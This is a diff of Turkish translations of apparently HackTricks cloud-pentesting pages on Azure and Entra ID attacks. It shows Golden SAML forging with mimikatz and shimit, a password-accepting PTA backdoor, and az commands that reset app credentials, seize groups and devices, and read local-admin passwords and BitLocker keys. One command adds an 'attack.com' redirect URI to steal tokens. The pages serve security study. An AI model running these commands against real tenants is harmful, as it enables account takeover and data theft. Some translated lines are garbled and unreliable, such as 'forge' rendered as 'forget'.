- ImmutableID, kullanıcı için yerel ortamda ms-DS-ConsistencyGuid üzerinde saklanır ve/veya kullanıcının GUID'inden türetilebilir.
|
||||
- ImmutableID, kullanıcı için on-premises ms-DS-ConsistencyGuid üzerinde saklanır ve/veya kullanıcının GUID'inden türetilebilir.
|
||||
- Daha fazla bilgi için [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Golden SAML saldırısı:**
|
||||
|
||||
- ADFS'de, SAML Yanıtı bir token imzalama sertifikası ile imzalanır.
|
||||
- Sertifika tehlikeye girerse, Azure AD'ye herhangi bir kullanıcı olarak kimlik doğrulamak mümkündür!
|
||||
- PTA istismarı gibi, bir kullanıcı için şifre değişikliği veya MFA'nın hiçbir etkisi olmayacaktır çünkü kimlik doğrulama yanıtını sahteleyerek işlem yapıyoruz.
|
||||
- ADFS'de, SAML Yanıtı bir token-imzalama sertifikası ile imzalanır.
|
||||
- Sertifika tehlikeye girerse, Azure AD'ye senkronize edilmiş HERHANGİ bir kullanıcı olarak kimlik doğrulamak mümkündür!
|
||||
- PTA istismarımız gibi, bir kullanıcı için şifre değişikliği veya MFA'nın hiçbir etkisi olmayacaktır çünkü kimlik doğrulama yanıtını sahteleyerek işlem yapıyoruz.
|
||||
- Sertifika, DA ayrıcalıkları ile AD FS sunucusundan çıkarılabilir ve ardından herhangi bir internet bağlantılı makineden kullanılabilir.
|
||||
- Daha fazla bilgi için [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
Bir **Kimlik Sağlayıcı (IdP)** tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir **SAMLResponse** süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu **IdP'nin özel anahtarı** kullanılarak yapılır. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin güvenilir bir IdP tarafından verildiğini doğrulamasını sağlar.
|
||||
Bir **Kimlik Sağlayıcı (IdP)** tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir **SAMLResponse** süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu, **IdP'nin özel anahtarı** kullanılarak yapılır. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin doğruluğunu onaylamasını sağlar ve bunun güvenilir bir IdP tarafından verildiğini garanti eder.
|
||||
|
||||
[altın bilet saldırısı](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) ile bir paralellik kurulabilir; burada kullanıcının kimliğini ve izinlerini doğrulayan anahtar (altın biletler için KRBTGT, altın SAML için token imzalama özel anahtarı) sahtelemek için manipüle edilebilir ve bu, herhangi bir kullanıcıyı taklit etmeye olanak tanır, SP'ye yetkisiz erişim sağlar.
|
||||
[altın bilet saldırısı](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) ile bir paralellik kurulabilir; burada kullanıcının kimliğini ve izinlerini doğrulayan anahtar (altın biletler için KRBTGT, altın SAML için token-imzalama özel anahtarı) sahte bir kimlik doğrulama nesnesi (TGT veya SAMLResponse) oluşturmak için manipüle edilebilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP'ye yetkisiz erişim sağlanmasına olanak tanır.
|
||||
|
||||
Altın SAML'lerin belirli avantajları vardır:
|
||||
|
||||
- **Uzakta** oluşturulabilirler, ilgili alan veya federasyonun parçası olma gereği yoktur.
|
||||
- **Uzakta oluşturulabilirler**, ilgili alan veya federasyonun parçası olma gereği olmaksızın.
|
||||
- **İki Faktörlü Kimlik Doğrulama (2FA)** etkin olsa bile etkili kalırlar.
|
||||
- Token imzalama **özel anahtarı otomatik olarak yenilenmez**.
|
||||
- Token-imzalama **özel anahtarı otomatik olarak yenilenmez**.
|
||||
- **Bir kullanıcının şifresini değiştirmek,** zaten oluşturulmuş bir SAML'yi geçersiz kılmaz.
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) güvenilir iş ortakları (federasyon) arasında **kimlik bilgilerini güvenli bir şekilde değiştirmeyi** kolaylaştıran bir Microsoft hizmetidir. Temelde, bir alan hizmetinin, bir federasyon içindeki diğer hizmet sağlayıcılarla kullanıcı kimliklerini paylaşmasına olanak tanır.
|
||||
|
||||
AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kıldığında, bu zafiyet, potansiyel olarak **AWS ortamında herhangi bir izin edinmek** için istismar edilebilir. Saldırı, SAML nesnelerini imzalamak için kullanılan **özel anahtarı** gerektirir; bu, altın bilet saldırısında KRBTGT'yi gerektirmeye benzer. AD FS kullanıcı hesabına erişim, bu özel anahtarı elde etmek için yeterlidir.
|
||||
AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kıldığında, bu zafiyet, AWS ortamında **herhangi bir izin edinme** potansiyeli ile istismar edilebilir. Saldırı, SAML nesnelerini imzalamak için kullanılan **özel anahtarı** gerektirir; bu, altın bilet saldırısında KRBTGT'yi gerektirmeye benzer. AD FS kullanıcı hesabına erişim, bu özel anahtarı elde etmek için yeterlidir.
|
||||
|
||||
Altın SAML saldırısını gerçekleştirmek için gerekenler şunlardır:
|
||||
Bir altın SAML saldırısı gerçekleştirmek için gerekenler şunlardır:
|
||||
|
||||
- **Token imzalama özel anahtarı**
|
||||
- **IdP genel sertifikası**
|
||||
- **Token-imzalama özel anahtarı**
|
||||
- **IdP kamu sertifikası**
|
||||
- **IdP adı**
|
||||
- **Rol adı (üstlenilecek rol)**
|
||||
- Alan\kullanıcı adı
|
||||
@@ -83,7 +82,7 @@ Altın SAML saldırısını gerçekleştirmek için gerekenler şunlardır:
|
||||
|
||||
_Sadece kalın yazılı olanlar zorunludur. Diğerleri istenildiği gibi doldurulabilir._
|
||||
|
||||
**Özel anahtarı** elde etmek için **AD FS kullanıcı hesabına** erişim gereklidir. Buradan, özel anahtar [mimikatz](https://github.com/gentilkiwi/mimikatz) gibi araçlar kullanılarak **kişisel depodan dışa aktarılabilir**. Diğer gerekli bilgileri toplamak için Microsoft.Adfs.Powershell snapin'ini şu şekilde kullanabilirsiniz, ADFS kullanıcısı olarak oturum açtığınızdan emin olun:
|
||||
**Özel anahtarı** elde etmek için **AD FS kullanıcı hesabına** erişim gereklidir. Buradan, özel anahtar **kişisel depodan** [mimikatz](https://github.com/gentilkiwi/mimikatz) gibi araçlar kullanılarak **dışa aktarılabilir**. Diğer gerekli bilgileri toplamak için, Microsoft.Adfs.Powershell snapin'ini şu şekilde kullanabilirsiniz; ADFS kullanıcısı olarak oturum açtığınızdan emin olun:
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -97,7 +96,7 @@ _Sadece kalın yazılı olanlar zorunludur. Diğerleri istenildiği gibi dolduru
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
Tüm bilgilerle, taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse'ı unutmak mümkündür [**shimit**](https://github.com/cyberark/shimit)**:**
|
||||
Tüm bilgilerle, taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse'ı [**shimit**](https://github.com/cyberark/shimit)**:** unutarak unutmak mümkündür.
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
@@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
### On-prem -> bulut
|
||||
```bash
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
# Hibrit Kimlik Çeşitli Saldırılar
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Entra ID kullanıcılarının yerel sunucuya senkronizasyonunu zorlamak
|
||||
|
||||
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) adresinde belirtildiği gibi, yerel AD'deki bir AD kullanıcısının **`ProxyAddress`** değerini değiştirmek mümkün oldu; bu, bir Entra ID admin kullanıcısının e-posta adresini ekleyerek ve ayrıca AD'deki kullanıcının UPN'sinin Entra ID'deki kullanıcıyla eşleşmesini sağlamakla (bu tekrar Entra ID'dir) mümkün oldu, örneğin **`SMTP:admin@domain.onmicrosoft.com`**. Bu, bu kullanıcının Entra ID'den yerel AD'ye **senkronizasyonunu zorlayacaktır**, bu nedenle kullanıcının şifresi biliniyorsa, bu şifre Entra ID'deki admin kullanıcısına **erişim sağlamak için** kullanılabilir.
|
||||
|
||||
Entra ID'den yerel AD'ye yeni bir kullanıcı senkronize etmek için gereken tek gereksinimler şunlardır:
|
||||
|
||||
- Yerel AD'deki bir kullanıcının niteliklerini kontrol etmek (veya yeni kullanıcılar oluşturma izinlerine sahip olmak)
|
||||
- Entra ID'den yerel AD'ye senkronize etmek için yalnızca bulut kullanıcısını bilmek
|
||||
- Ayrıca, Entra ID kullanıcısının immutableID niteliğini yerel AD kullanıcısına değiştirebilmek için **sert eşleşme** yapmak gerekebilir.
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID artık Entra ID'den yerel AD'ye admin kullanıcılarını senkronize etmeye izin vermiyor.
|
||||
> Ayrıca, bu **MFA'yı atlamayacaktır**.
|
||||
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+6
-6
@@ -4,11 +4,11 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra geçiş kimlik doğrulaması, kullanıcılarınızın **hem yerel hem de bulut tabanlı uygulamalara aynı şifreleri kullanarak giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az, ayrıca IT yardım masası maliyetlerini azaltır çünkü kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşüktür. Kullanıcılar Microsoft Entra ID kullanarak giriş yaptıklarında, bu özellik kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular.
|
||||
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra geçiş kimlik doğrulaması, kullanıcılarınızın **hem yerel hem de bulut tabanlı uygulamalara aynı şifreleri kullanarak giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az, ayrıca kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşük olduğu için BT yardım masası maliyetlerini azaltır. Kullanıcılar Microsoft Entra ID kullanarak giriş yaptıklarında, bu özellik kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular.
|
||||
|
||||
PTA'da **kimlikler** **senkronize** edilir ancak **şifreler** PHS'deki gibi **senkronize edilmez**.
|
||||
|
||||
Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sunucuda** çalışan bir **kimlik doğrulama ajanı** tarafından gerçekleştirilir (yerel DC'de olması gerekmez).
|
||||
Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sunucuda** çalışan bir **kimlik doğrulama ajanı** tarafından gerçekleştirilir (bu, yerel DC'de olmak zorunda değildir).
|
||||
|
||||
### Kimlik Doğrulama Akışı
|
||||
|
||||
@@ -17,7 +17,7 @@ Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sun
|
||||
1. Kullanıcı **giriş yapmak** için **Azure AD**'ye yönlendirilir, burada **kullanıcı adı** ve **şifre** gönderir.
|
||||
2. **Kimlik bilgileri** **şifrelenir** ve Azure AD'de bir **kuvvet** içine yerleştirilir.
|
||||
3. **Yerel kimlik doğrulama ajanı**, kuyruktan **kimlik bilgilerini** toplar ve **şifreler**. Bu ajana **"Geçiş kimlik doğrulama ajanı"** veya **PTA ajanı** denir.
|
||||
4. **Ajan**, kimlik bilgilerini **yerel AD** ile **doğrular** ve **yanıtı** **Azure AD'ye geri** gönderir; eğer yanıt olumluysa, kullanıcının **girişini tamamlar**.
|
||||
4. **Ajan**, kimlik bilgilerini **yerel AD** ile **doğrular** ve **yanıtı** **geri** Azure AD'ye gönderir; eğer yanıt olumluysa, kullanıcının **girişini tamamlar**.
|
||||
|
||||
> [!WARNING]
|
||||
> Eğer bir saldırgan **PTA'yı tehlikeye atarsa**, kuyruktaki tüm **kimlik bilgilerini** (şifrelenmemiş olarak) **görebilir**.\
|
||||
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
Eğer **PTA** **ajansı** çalışan **Azure AD Connect sunucusu** üzerinde **admin** erişiminiz varsa, **ALL** girilen şifreleri **doğrulayan** bir **arka kapı** **eklemek** için **AADInternals** modülünü kullanabilirsiniz (yani tüm şifreler kimlik doğrulama için geçerli olacaktır):
|
||||
Eğer **PTA** **ajansı** çalışan **Azure AD Connect sunucusu** üzerinde **admin** erişiminiz varsa, **AADInternals** modülünü kullanarak **tüm girilen şifreleri** **doğrulayan** bir **arka kapı** **ekleyebilirsiniz** (yani tüm şifreler kimlik doğrulama için geçerli olacaktır):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
@@ -72,8 +72,8 @@ Remove-AADIntPTASpy # Remove the backdoor
|
||||
|
||||
Bu arka kapı:
|
||||
|
||||
- Gizli bir klasör `C:\PTASpy` oluşturur
|
||||
- `PTASpy.dll` dosyasını `C:\PTASpy`'ye kopyalar
|
||||
- Gizli bir klasör oluşturur `C:\PTASpy`
|
||||
- `PTASpy.dll` dosyasını `C:\PTASpy` klasörüne kopyalar
|
||||
- `PTASpy.dll` dosyasını `AzureADConnectAuthenticationAgentService` sürecine enjekte eder
|
||||
|
||||
> [!NOTE]
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
# Az- Yeni Kullanıcıları Senkronize Etme
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AzureAD kullanıcılarını on-prem'e senkronize ederek on-prem'den AzureAD'ye yükseltme
|
||||
|
||||
AzureAD'den on-prem AD'ye yeni bir kullanıcıyı senkronize etmek için gereksinimler şunlardır:
|
||||
|
||||
- **AzureAD kullanıcısı** bir proxy adresine (bir **posta kutusu**) sahip olmalıdır
|
||||
- Lisans gerekli değildir
|
||||
- **Zaten senkronize olmamalıdır**
|
||||
```bash
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
AzureAD'de bu tür bir kullanıcı bulunduğunda, **on-prem AD'den erişmek için** sadece **SMTP e-posta ile proxyAddress** ile **yeni bir hesap oluşturmanız** gerekir.
|
||||
|
||||
Otomatik olarak, bu kullanıcı **AzureAD'den on-prem AD kullanıcısına senkronize edilecektir**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu saldırıyı gerçekleştirmek için **Domain Admin** olmanıza gerek yoktur, sadece **yeni kullanıcılar oluşturma** izinlerinizin olması yeterlidir.
|
||||
>
|
||||
> Ayrıca, bu **MFA'yı atlamaz**.
|
||||
>
|
||||
> Dahası, **admin hesapları için hesap senkronizasyonunun artık mümkün olmadığı** bildirilmiştir.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+24
-16
@@ -3,7 +3,7 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> **Entra ID'deki** yerleşik rollerin **tüm ayrıntılı izinleri** özel roller için **kullanılabilir değildir.**
|
||||
> **Entra ID'deki** yerleşik rollerin **tüm ayrıntılı izinleri** özel rollerde kullanılmak üzere **uygun değildir.**
|
||||
|
||||
## Roller
|
||||
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Bu, `applications/credentials/update` ile aynı eylemleri gerçekleştirir, ancak tek dizin uygulamaları için kapsamlıdır.
|
||||
Bu, `applications/credentials/update` ile aynı eylemleri sağlar, ancak tek dizin uygulamaları için kapsamlıdır.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Kendilerini bir sahip olarak ekleyerek, bir saldırgan uygulamayı, kimlik bilgileri ve izinler dahil olmak üzere manipüle edebilir.
|
||||
Kendilerini bir sahip olarak ekleyerek, bir saldırgan uygulamayı, kimlik bilgileri ve izinler dahil olmak üzere, manipüle edebilir.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,7 +77,7 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Bir saldırgan, kiracının kullanıcıları tarafından kullanılan uygulamalara bir yönlendirme URI'si ekleyebilir ve ardından bu yeni yönlendirme URL'sini kullanan oturum açma URL'lerini onlarla paylaşarak token'larını çalabilir. Kullanıcının zaten uygulamada oturum açmış olması durumunda, kimlik doğrulama otomatik olacak ve kullanıcının herhangi bir şeyi kabul etmesine gerek kalmayacaktır.
|
||||
Bir saldırgan, kiracının kullanıcıları tarafından kullanılan uygulamalara bir yönlendirme URI'si ekleyebilir ve ardından bu yeni yönlendirme URL'sini kullanan oturum açma URL'lerini onlarla paylaşarak token'larını çalabilir. Kullanıcının uygulamada zaten oturum açmış olması durumunda, kimlik doğrulamanın otomatik olacağını ve kullanıcının hiçbir şeyi kabul etmesine gerek kalmayacağını unutmayın.
|
||||
|
||||
Ayrıca, uygulamanın talep ettiği izinleri değiştirerek daha fazla izin almak da mümkündür, ancak bu durumda kullanıcının tüm izinleri isteyen istemi tekrar kabul etmesi gerekecektir.
|
||||
```bash
|
||||
@@ -86,19 +86,19 @@ az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUr
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
## Hizmet Prensipleri
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Bu, bir saldırganın mevcut hizmet prensiplerine kimlik bilgileri eklemesine olanak tanır. Eğer hizmet prensibi yükseltilmiş ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir.
|
||||
Bu, bir saldırganın mevcut hizmet ilkelerine kimlik bilgileri eklemesine olanak tanır. Eğer hizmet ilkesi yükseltilmiş ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Yeni oluşturulan şifre web konsolunda görünmeyecek, bu nedenle bu, bir hizmet ilkesi üzerinde kalıcılığı sağlamak için gizli bir yol olabilir.\
|
||||
> Yeni oluşturulan şifre web konsolunda görünmeyecek, bu nedenle bu, bir hizmet ilkesinde kalıcılığı sağlamak için gizli bir yol olabilir.\
|
||||
> API'den şu şekilde bulunabilir: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Eğer `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` hatasını alıyorsanız, bunun nedeni **SP'nin passwordCredentials özelliğini değiştirmek mümkün olmamasıdır** ve önce onu kilidini açmanız gerekir. Bunun için, şunu çalıştırmanıza izin veren bir izne (`microsoft.directory/applications/allProperties/update`) ihtiyacınız var:
|
||||
Eğer `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` hatasını alıyorsanız, bunun nedeni **SP'nin passwordCredentials özelliğini değiştirmek mümkün değildir** ve önce onu kilidini açmanız gerekir. Bunun için, şu işlemi gerçekleştirmenizi sağlayan bir izin gerekir (`microsoft.directory/applications/allProperties/update`):
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
@@ -136,7 +136,7 @@ Bu izinler, hizmet ilkelerini devre dışı bırakma ve etkinleştirme olanağı
|
||||
|
||||
Bu teknik için saldırganın etkinleştirilen hizmet ilkesini ele geçirmek için daha fazla izne ihtiyacı olacağını unutmayın.
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
|
||||
# Enable
|
||||
@@ -164,13 +164,21 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### Uygulamalar Yetki Yükseltme
|
||||
|
||||
**[Bu yazıda](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) açıklandığı gibi**, varsayılan uygulamaların **API izinleri** türü **`Application`** ile atanmış olarak bulunması oldukça yaygındır. Entra ID konsolunda **`Application`** türündeki bir API İzni, uygulamanın API'ye kullanıcı bağlamı olmadan (kullanıcının uygulamaya giriş yapmadan) erişebileceği ve Entra ID rollerine ihtiyaç duymadan erişim sağlayabileceği anlamına gelir. Bu nedenle, her Entra ID kiracısında **yüksek yetkili uygulamaların bulunması** oldukça yaygındır.
|
||||
|
||||
Daha sonra, bir saldırganın **uygulamanın kimlik bilgilerini (gizli anahtar veya sertifika) güncellemesine** izin veren herhangi bir izni/rolü varsa, saldırgan yeni bir kimlik bilgisi oluşturabilir ve ardından bunu **uygulama olarak kimlik doğrulamak için** kullanarak uygulamanın sahip olduğu tüm izinleri elde edebilir.
|
||||
|
||||
Bahsedilen blog, bazı yaygın Microsoft varsayılan uygulamalarının **API izinlerini** paylaşmaktadır; ancak bu rapordan bir süre sonra Microsoft bu sorunu düzeltmiştir ve artık Microsoft uygulamaları olarak giriş yapmak mümkün değildir. Ancak, **istismar edilebilecek yüksek yetkilere sahip özel uygulamaların** bulunması hala mümkündür.
|
||||
|
||||
---
|
||||
|
||||
## Gruplar
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Bu izin, kullanıcıları ayrıcalıklı gruplara eklemeye olanak tanır ve bu da ayrıcalık yükselmesine yol açar.
|
||||
Bu izin, kullanıcıları ayrıcalıklı gruplara eklemeye olanak tanır ve bu da yetki yükseltmeye yol açar.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
@@ -183,7 +191,7 @@ Bu izin, grupların sahibi olmayı sağlar. Bir grubun sahibi, grup üyeliğini
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Not**: Bu izin, Entra ID rol atama gruplarını hariç tutar.
|
||||
**Not**: Bu izin, Entra ID rol ataması yapılabilir gruplarını hariç tutar.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
@@ -218,7 +226,7 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Bu izin, yönetici olmayan kullanıcıların şifrelerini sıfırlamalarına olanak tanır ve potansiyel bir saldırganın diğer kullanıcılara yetki artırmasına izin verir. Bu izin özel rollere atanamaz.
|
||||
Bu izin, yönetici olmayan kullanıcıların şifresini sıfırlamaya olanak tanır ve potansiyel bir saldırganın diğer kullanıcılara yetki artırmasına izin verir. Bu izin özel rollere atanamaz.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
@@ -252,7 +260,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Bu izin, saldırganların kendilerini cihazların sahipleri olarak atamalarına ve cihazlara özgü ayar ve verilere erişim sağlamalarına olanak tanır.
|
||||
Bu izin, saldırganların cihazların sahipleri olarak kendilerini atamalarına ve cihazlara özgü ayar ve verilere erişim sağlamalarına olanak tanır.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -263,7 +271,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Bu izin, saldırganların hesaplarını cihazlarla ilişkilendirerek erişim elde etmelerine veya güvenlik politikalarını atlamalarına olanak tanır.
|
||||
Bu izin, saldırganların hesaplarını cihazlarla ilişkilendirmesine ve erişim elde etmesine veya güvenlik politikalarını atlamasına olanak tanır.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -274,7 +282,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Bu izin, saldırganların Microsoft Entra'ya katılan cihazlar için yedeklenmiş yerel yönetici hesap kimlik bilgilerini, şifre de dahil olmak üzere, okumalarına olanak tanır.
|
||||
Bu izin, saldırganların Microsoft Entra ile katılmış cihazlar için yedeklenmiş yerel yönetici hesabı kimlik bilgilerini, şifre de dahil olmak üzere, okumalarına olanak tanır.
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -289,7 +297,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Bu izin, BitLocker anahtarlarına erişim sağlar; bu da bir saldırganın sürücüleri şifrelerini çözmesine ve veri gizliliğini tehlikeye atmasına olanak tanıyabilir.
|
||||
Bu izin, bir saldırganın sürücüleri şifrelerini çözmesine olanak tanıyarak veri gizliliğini tehlikeye atabilecek BitLocker anahtarlarına erişim sağlar.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
# Az - Dosya Paylaşımları
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RemoteAddr Bypass
|
||||
|
||||
Bu **[blog yazısı](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)**, Azure Front Door ile bazı ağ kısıtlamaları yapılandırırken **`RemoteAddr`** veya **`SocketAddr`** temelinde nasıl filtreleme yapabileceğinizi açıklar. Ana fark, **`RemoteAddr`**'ın aslında **`X-Forwarded-For`** HTTP başlığındaki değeri kullanmasıdır, bu da atlatmayı oldukça kolay hale getirir.
|
||||
|
||||
Bu kuralı atlatmak için, geçerli bir IP adresi bulana kadar **IP adreslerini brute-force** yapan otomatik araçlar kullanılabilir.
|
||||
|
||||
Bu, [Microsoft belgelerinde](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) belirtilmiştir.
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user